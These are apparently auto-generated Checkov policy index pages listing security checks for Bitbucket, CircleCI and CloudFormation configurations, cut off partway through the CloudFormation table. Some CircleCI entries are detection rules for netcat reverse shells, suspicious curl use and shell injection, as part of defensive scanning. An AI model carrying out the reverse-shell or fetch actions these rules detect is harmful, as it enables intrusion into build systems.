================================================ FILE: docs/5.Policy Index/bitbucket_pipelines.md ================================================ --- layout: default title: bitbucket_pipelines resource scans nav_order: 1 --- # bitbucket_pipelines resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |----|--------------------------|---------------------|--------------------------------------------------------------------------------------------------|---------------------------------------------------------|---------------------|-------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_BITBUCKETPIPELINES_1 | bitbucket_pipelines | [{image:image,__startline__:__startline__,__endline__:__endline__}] | Ensure the pipeline image uses a non latest version tag | bitbucket_pipelines | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket_pipelines/checks/latest_image.py) | | 1 | CKV_BITBUCKETPIPELINES_1 | bitbucket_pipelines | pipelines.*.[*][][][].step.{image: image, __startline__: __startline__, __endline__:__endline__} | Ensure the pipeline image uses a non latest version tag | bitbucket_pipelines | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket_pipelines/checks/latest_image.py) | | 2 | CKV_BITBUCKETPIPELINES_1 | bitbucket_pipelines | pipelines.default[].step.{image: image, __startline__: __startline__, __endline__:__endline__} | Ensure the pipeline image uses a non latest version tag | bitbucket_pipelines | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket_pipelines/checks/latest_image.py) | --- ================================================ FILE: docs/5.Policy Index/circleci_pipelines.md ================================================ --- layout: default title: circleci_pipelines resource scans nav_order: 1 --- # circleci_pipelines resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |----|-------------------------|--------------------|--------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------|--------------------|------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_CIRCLECIPIPELINES_1 | circleci_pipelines | jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__} | Ensure the pipeline image uses a non latest version tag | circleci_pipelines | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/latest_image.py) | | 1 | CKV_CIRCLECIPIPELINES_2 | circleci_pipelines | jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__} | Ensure the pipeline image version is referenced via hash not arbitrary tag. | circleci_pipelines | [image_version_not_hash.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/image_version_not_hash.py) | | 2 | CKV_CIRCLECIPIPELINES_3 | circleci_pipelines | orbs.{orbs: @} | Ensure mutable development orbs are not used. | circleci_pipelines | [prevent_development_orbs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/prevent_development_orbs.py) | | 3 | CKV_CIRCLECIPIPELINES_4 | circleci_pipelines | orbs.{orbs: @} | Ensure unversioned volatile orbs are not used. | circleci_pipelines | [prevent_volatile_orbs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/prevent_volatile_orbs.py) | | 4 | CKV_CIRCLECIPIPELINES_5 | circleci_pipelines | jobs.*.steps[] | Suspicious use of netcat with IP address | circleci_pipelines | [ReverseShellNetcat.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/ReverseShellNetcat.py) | | 5 | CKV_CIRCLECIPIPELINES_6 | circleci_pipelines | jobs.*.steps[] | Ensure run commands are not vulnerable to shell injection | circleci_pipelines | [ShellInjection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/ShellInjection.py) | | 6 | CKV_CIRCLECIPIPELINES_7 | circleci_pipelines | jobs.*.steps[] | Suspicious use of curl in run task | circleci_pipelines | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/SuspectCurlInScript.py) | | 7 | CKV_CIRCLECIPIPELINES_8 | circleci_pipelines | executors.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__} | Detecting image usages in circleci pipelines | circleci_pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/DetectImagesUsage.py) | | 8 | CKV_CIRCLECIPIPELINES_8 | circleci_pipelines | jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__} | Detecting image usages in circleci pipelines | circleci_pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/DetectImagesUsage.py) | --- ================================================ FILE: docs/5.Policy Index/cloudformation.md ================================================ --- layout: default title: cloudformation resource scans nav_order: 1 --- # cloudformation resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |------|-------------|----------|------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_AWS_2 | resource | AWS::ElasticLoadBalancingV2::Listener | Ensure ALB protocol is HTTPS | Cloudformation | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBListenerHTTPS.py) | | 1 | CKV_AWS_3 | resource | AWS::EC2::Volume | Ensure all data stored in the EBS is securely encrypted | Cloudformation | [EBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EBSEncryption.py) | | 2 | CKV_AWS_5 | resource | AWS::Elasticsearch::Domain | Ensure all data stored in the Elasticsearch is securely encrypted at rest | Cloudformation | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchEncryption.py) | | 3 | CKV_AWS_6 | resource | AWS::Elasticsearch::Domain | Ensure all Elasticsearch has node-to-node encryption enabled | Cloudformation | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py) | | 4 | CKV_AWS_7 | resource | AWS::KMS::Key | Ensure rotation for customer created CMKs is enabled | Cloudformation | [KMSRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KMSRotation.py) | | 5 | CKV_AWS_8 | resource | AWS::AutoScaling::LaunchConfiguration | Ensure all data stored in the Launch configuration EBS is securely encrypted | Cloudformation | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LaunchConfigurationEBSEncryption.py) | | 6 | CKV_AWS_16 | resource | AWS::RDS::DBInstance | Ensure all data stored in the RDS is securely encrypted at rest | Cloudformation | [RDSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSEncryption.py) | | 7 | CKV_AWS_17 | resource | AWS::RDS::DBInstance | Ensure all data stored in RDS is not publicly accessible | Cloudformation | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSPubliclyAccessible.py) | | 8 | CKV_AWS_18 | resource | AWS::S3::Bucket | Ensure the S3 bucket has access logging enabled | Cloudformation | [S3AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3AccessLogs.py) | | 9 | CKV_AWS_19 | resource | AWS::S3::Bucket | Ensure the S3 bucket has server-side-encryption enabled | Cloudformation | [S3Encryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3Encryption.py) | | 10 | CKV_AWS_20 | resource | AWS::S3::Bucket | Ensure the S3 bucket does not allow READ permissions to everyone | Cloudformation | [S3PublicACLRead.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3PublicACLRead.py) | | 11 | CKV_AWS_21 | resource | AWS::S3::Bucket | Ensure the S3 bucket has versioning enabled | Cloudformation | [S3Versioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3Versioning.py) | | 12 | CKV_AWS_23 | resource | AWS::EC2::SecurityGroup | Ensure every security groups rule has a description | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py) | | 13 | CKV_AWS_23 | resource | AWS::EC2::SecurityGroupEgress | Ensure every security groups rule has a description | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py) | | 14 | CKV_AWS_23 | resource | AWS::EC2::SecurityGroupIngress | Ensure every security groups rule has a description | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py) | | 15 | CKV_AWS_24 | resource | AWS::EC2::SecurityGroup | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Cloudformation | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py) | | 16 | CKV_AWS_24 | resource | AWS::EC2::SecurityGroupIngress | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Cloudformation | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py) | | 17 | CKV_AWS_25 | resource | AWS::EC2::SecurityGroup | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Cloudformation | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py) | | 18 | CKV_AWS_25 | resource | AWS::EC2::SecurityGroupIngress | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Cloudformation | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py) | | 19 | CKV_AWS_26 | resource | AWS::SNS::Topic | Ensure all data stored in the SNS topic is encrypted | Cloudformation | [SNSTopicEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SNSTopicEncryption.py) | | 20 | CKV_AWS_27 | resource | AWS::SQS::Queue | Ensure all data stored in the SQS queue is encrypted | Cloudformation | [SQSQueueEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SQSQueueEncryption.py) | | 21 | CKV_AWS_28 | resource | AWS::DynamoDB::Table | Ensure DynamoDB point in time recovery (backup) is enabled | Cloudformation | [DynamodbRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamodbRecovery.py) | | 22 | CKV_AWS_29 | resource | AWS::ElastiCache::ReplicationGroup | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest | Cloudformation | [ElasticacheReplicationGroupEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py) | | 23 | CKV_AWS_30 | resource | AWS::ElastiCache::ReplicationGroup | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit | Cloudformation | [ElasticacheReplicationGroupEncryptionAtTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py) | | 24 | CKV_AWS_31 | resource | AWS::ElastiCache::ReplicationGroup | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token | Cloudformation | [ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py) | | 25 | CKV_AWS_32 | resource | AWS::ECR::Repository | Ensure ECR policy is not set to public | Cloudformation | [ECRPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRPolicy.py) | | 26 | CKV_AWS_33 | resource | AWS::KMS::Key | Ensure KMS key policy does not contain wildcard (*) principal | Cloudformation | [KMSKeyWildCardPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KMSKeyWildCardPrincipal.py) | | 27 | CKV_AWS_34 | resource | AWS::CloudFront::Distribution | Ensure CloudFront Distribution ViewerProtocolPolicy is set to HTTPS | Cloudformation | [CloudfrontDistributionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudfrontDistributionEncryption.py) | | 28 | CKV_AWS_35 | resource | AWS::CloudTrail::Trail | Ensure CloudTrail logs are encrypted at rest using KMS CMKs | Cloudformation | [CloudtrailEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailEncryption.py) | | 29 | CKV_AWS_36 | resource | AWS::CloudTrail::Trail | Ensure CloudTrail log file validation is enabled | Cloudformation | [CloudtrailLogValidation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailLogValidation.py) | | 30 | CKV_AWS_40 | resource | AWS::IAM::Policy | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Cloudformation | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py) | | 31 | CKV_AWS_42 | resource | AWS::EFS::FileSystem | Ensure EFS is securely encrypted | Cloudformation | [EFSEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EFSEncryptionEnabled.py) | | 32 | CKV_AWS_43 | resource | AWS::Kinesis::Stream | Ensure Kinesis Stream is securely encrypted | Cloudformation | [KinesisStreamEncryptionType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KinesisStreamEncryptionType.py) | | 33 | CKV_AWS_44 | resource | AWS::Neptune::DBCluster | Ensure Neptune storage is securely encrypted | Cloudformation | [NeptuneClusterStorageEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterStorageEncrypted.py) | | 34 | CKV_AWS_45 | resource | AWS::Lambda::Function | Ensure no hard-coded secrets exist in Lambda environment | Cloudformation | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py) | | 35 | CKV_AWS_45 | resource | AWS::Serverless::Function | Ensure no hard-coded secrets exist in Lambda environment | Cloudformation | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py) | | 36 | CKV_AWS_46 | resource | AWS::EC2::Instance | Ensure no hard-coded secrets exist in EC2 user data | Cloudformation | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2Credentials.py) | | 37 | CKV_AWS_47 | resource | AWS::DAX::Cluster | Ensure DAX is encrypted at rest (default is unencrypted) | Cloudformation | [DAXEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DAXEncryption.py) | | 38 | CKV_AWS_51 | resource | AWS::ECR::Repository | Ensure ECR Image Tags are immutable | Cloudformation | [ECRImmutableTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRImmutableTags.py) | | 39 | CKV_AWS_53 | resource | AWS::S3::Bucket | Ensure S3 bucket has block public ACLs enabled | Cloudformation | [S3BlockPublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3BlockPublicACLs.py) | | 40 | CKV_AWS_54 | resource | AWS::S3::Bucket | Ensure S3 bucket has block public policy enabled | Cloudformation | [S3BlockPublicPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3BlockPublicPolicy.py) | | 41 | CKV_AWS_55 | resource | AWS::S3::Bucket | Ensure S3 bucket has ignore public ACLs enabled | Cloudformation | [S3IgnorePublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3IgnorePublicACLs.py) | | 42 | CKV_AWS_56 | resource | AWS::S3::Bucket | Ensure S3 bucket has RestrictPublicBuckets enabled | Cloudformation | [S3RestrictPublicBuckets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3RestrictPublicBuckets.py) | | 43 | CKV_AWS_57 | resource | AWS::S3::Bucket | Ensure the S3 bucket does not allow WRITE permissions to everyone | Cloudformation | [S3PublicACLWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3PublicACLWrite.py) | | 44 | CKV_AWS_58 | resource | AWS::EKS::Cluster | Ensure EKS Cluster has Secrets Encryption Enabled | Cloudformation | [EKSSecretsEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EKSSecretsEncryption.py) | | 45 | CKV_AWS_59 | resource | AWS::ApiGateway::Method | Ensure there is no open access to back-end resources through API | Cloudformation | [APIGatewayAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAuthorization.py) | | 46 | CKV_AWS_60 | resource | AWS::IAM::Role | Ensure IAM role allows only specific services or principals to assume it | Cloudformation | [IAMRoleAllowsPublicAssume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMRoleAllowsPublicAssume.py) | | 47 | CKV_AWS_61 | resource | AWS::IAM::Role | Ensure AWS IAM policy does not allow assume role permission across all services | Cloudformation | [IAMRoleAllowAssumeFromAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py) | | 48 | CKV_AWS_62 | resource | AWS::IAM::Group | Ensure no IAM policies that allow full "*-*" administrative privileges are not created | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py) | | 49 | CKV_AWS_62 | resource | AWS::IAM::Policy | Ensure no IAM policies that allow full "*-*" administrative privileges are not created | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py) | | 50 | CKV_AWS_62 | resource | AWS::IAM::Role | Ensure no IAM policies that allow full "*-*" administrative privileges are not created | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py) | | 51 | CKV_AWS_62 | resource | AWS::IAM::User | Ensure no IAM policies that allow full "*-*" administrative privileges are not created | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py) | | 52 | CKV_AWS_63 | resource | AWS::IAM::Group | Ensure no IAM policies documents allow "*" as a statement's actions | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 53 | CKV_AWS_63 | resource | AWS::IAM::Policy | Ensure no IAM policies documents allow "*" as a statement's actions | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 54 | CKV_AWS_63 | resource | AWS::IAM::Role | Ensure no IAM policies documents allow "*" as a statement's actions | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 55 | CKV_AWS_63 | resource | AWS::IAM::User | Ensure no IAM policies documents allow "*" as a statement's actions | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 56 | CKV_AWS_64 | resource | AWS::Redshift::Cluster | Ensure all data stored in the Redshift cluster is securely encrypted at rest | Cloudformation | [RedshiftClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterEncryption.py) | | 57 | CKV_AWS_65 | resource | AWS::ECS::Cluster | Ensure container insights are enabled on ECS cluster | Cloudformation | [ECSClusterContainerInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECSClusterContainerInsights.py) | | 58 | CKV_AWS_66 | resource | AWS::Logs::LogGroup | Ensure that CloudWatch Log Group specifies retention days | Cloudformation | [CloudWatchLogGroupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupRetention.py) | | 59 | CKV_AWS_67 | resource | AWS::CloudTrail::Trail | Ensure CloudTrail is enabled in all Regions | Cloudformation | [CloudtrailMultiRegion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailMultiRegion.py) | | 60 | CKV_AWS_68 | resource | AWS::CloudFront::Distribution | CloudFront Distribution should have WAF enabled | Cloudformation | [WAFEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WAFEnabled.py) | | 61 | CKV_AWS_69 | resource | AWS::AmazonMQ::Broker | Ensure Amazon MQ Broker should not have public access | Cloudformation | [AmazonMQBrokerPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AmazonMQBrokerPublicAccess.py) | | 62 | CKV_AWS_71 | resource | AWS::Redshift::Cluster | Ensure Redshift Cluster logging is enabled | Cloudformation | [RedshiftClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterLogging.py) | | 63 | CKV_AWS_73 | resource | AWS::ApiGateway::Stage | Ensure API Gateway has X-Ray Tracing enabled | Cloudformation | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayXray.py) | | 64 | CKV_AWS_73 | resource | AWS::Serverless::Api | Ensure API Gateway has X-Ray Tracing enabled | Cloudformation | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayXray.py) | | 65 | CKV_AWS_74 | resource | AWS::DocDB::DBCluster | Ensure DocumentDB is encrypted at rest (default is unencrypted) | Cloudformation | [DocDBEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBEncryption.py) | | 66 | CKV_AWS_76 | resource | AWS::ApiGateway::Stage | Ensure API Gateway has Access Logging enabled | Cloudformation | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py) | | 67 | CKV_AWS_76 | resource | AWS::Serverless::Api | Ensure API Gateway has Access Logging enabled | Cloudformation | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py) | | 68 | CKV_AWS_78 | resource | AWS::CodeBuild::Project | Ensure that CodeBuild Project encryption is not disabled | Cloudformation | [CodeBuildProjectEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CodeBuildProjectEncryption.py) | | 69 | CKV_AWS_79 | resource | AWS::EC2::LaunchTemplate | Ensure Instance Metadata Service Version 1 is not enabled | Cloudformation | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IMDSv1Disabled.py) | | 70 | CKV_AWS_80 | resource | AWS::MSK::Cluster | Ensure MSK Cluster logging is enabled | Cloudformation | [MSKClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterLogging.py) | | 71 | CKV_AWS_81 | resource | AWS::MSK::Cluster | Ensure MSK Cluster encryption in rest and transit is enabled | Cloudformation | [MSKClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterEncryption.py) | | 72 | CKV_AWS_82 | resource | AWS::Athena::WorkGroup | Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption | Cloudformation | [AthenaWorkgroupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AthenaWorkgroupConfiguration.py) | | 73 | CKV_AWS_83 | resource | AWS::Elasticsearch::Domain | Ensure Elasticsearch Domain enforces HTTPS | Cloudformation | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py) | | 74 | CKV_AWS_84 | resource | AWS::Elasticsearch::Domain | Ensure Elasticsearch Domain Logging is enabled | Cloudformation | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py) | | 75 | CKV_AWS_84 | resource | AWS::OpenSearchService::Domain | Ensure Elasticsearch Domain Logging is enabled | Cloudformation | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py) | | 76 | CKV_AWS_85 | resource | AWS::DocDB::DBCluster | Ensure DocumentDB Logging is enabled | Cloudformation | [DocDBLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBLogging.py) | | 77 | CKV_AWS_86 | resource | AWS::CloudFront::Distribution | Ensure CloudFront Distribution has Access Logging enabled | Cloudformation | [CloudfrontDistributionLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudfrontDistributionLogging.py) | | 78 | CKV_AWS_87 | resource | AWS::Redshift::Cluster | Redshift cluster should not be publicly accessible | Cloudformation | [RedshiftClusterPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterPubliclyAccessible.py) | | 79 | CKV_AWS_88 | resource | AWS::EC2::Instance | EC2 instance should not have public IP. | Cloudformation | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2PublicIP.py) | | 80 | CKV_AWS_88 | resource | AWS::EC2::LaunchTemplate | EC2 instance should not have public IP. | Cloudformation | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2PublicIP.py) | | 81 | CKV_AWS_89 | resource | AWS::DMS::ReplicationInstance | DMS replication instance should not be publicly accessible | Cloudformation | [DMSReplicationInstancePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py) | | 82 | CKV_AWS_90 | resource | AWS::DocDB::DBClusterParameterGroup | Ensure DocumentDB TLS is not disabled | Cloudformation | [DocDBTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBTLS.py) | | 83 | CKV_AWS_91 | resource | AWS::ElasticLoadBalancingV2::LoadBalancer | Ensure the ELBv2 (Application/Network) has access logging enabled | Cloudformation | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ELBv2AccessLogs.py) | | 84 | CKV_AWS_92 | resource | AWS::ElasticLoadBalancing::LoadBalancer | Ensure the ELB has access logging enabled | Cloudformation | [ELBAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ELBAccessLogs.py) | | 85 | CKV_AWS_94 | resource | AWS::Glue::DataCatalogEncryptionSettings | Ensure Glue Data Catalog Encryption is enabled | Cloudformation | [GlueDataCatalogEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueDataCatalogEncryption.py) | | 86 | CKV_AWS_95 | resource | AWS::ApiGatewayV2::Stage | Ensure API Gateway V2 has Access Logging enabled | Cloudformation | [APIGatewayV2AccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py) | | 87 | CKV_AWS_95 | resource | AWS::Serverless::HttpApi | Ensure API Gateway V2 has Access Logging enabled | Cloudformation | [APIGatewayV2AccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py) | | 88 | CKV_AWS_96 | resource | AWS::RDS::DBCluster | Ensure all data stored in Aurora is securely encrypted at rest | Cloudformation | [AuroraEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AuroraEncryption.py) | | 89 | CKV_AWS_97 | resource | AWS::ECS::TaskDefinition | Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions | Cloudformation | [ECSTaskDefinitionEFSVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py) | | 90 | CKV_AWS_99 | resource | AWS::Glue::SecurityConfiguration | Ensure Glue Security Configuration Encryption is enabled | Cloudformation | 